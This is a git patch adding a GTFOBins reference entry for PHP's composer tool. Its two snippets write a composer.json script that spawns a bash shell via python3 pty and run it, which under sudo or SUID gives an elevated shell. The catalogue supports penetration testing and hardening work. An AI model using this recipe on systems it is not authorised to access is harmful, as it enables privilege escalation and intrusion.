From deaf47943f836b9d5904218922866748fc9e5a63 Mon Sep 17 00:00:00 2001 From: clubby789 Date: Sun, 8 Nov 2020 02:28:45 +0000 Subject: [PATCH] Add entry for composer --- _gtfobins/composer.md | 23 +++++++++++++++++++++++ 1 file changed, 23 insertions(+) create mode 100644 _gtfobins/composer.md diff --git a/_gtfobins/composer.md b/_gtfobins/composer.md new file mode 100644 index 0000000..70d66a0 --- /dev/null +++ b/_gtfobins/composer.md @@ -0,0 +1,23 @@ +--- +functions: + suid: + - code: | + cat << EOF > composer.json + { + "scripts": { + "command": "python3 -c 'import pty;pty.spawn(\"bash\")'" + } + } + EOF + ./composer run-script command + sudo: + - code: | + cat << EOF > composer.json + { + "scripts": { + "command": "python3 -c 'import pty;pty.spawn(\"bash\")'" + } + } + EOF + composer run-script command +---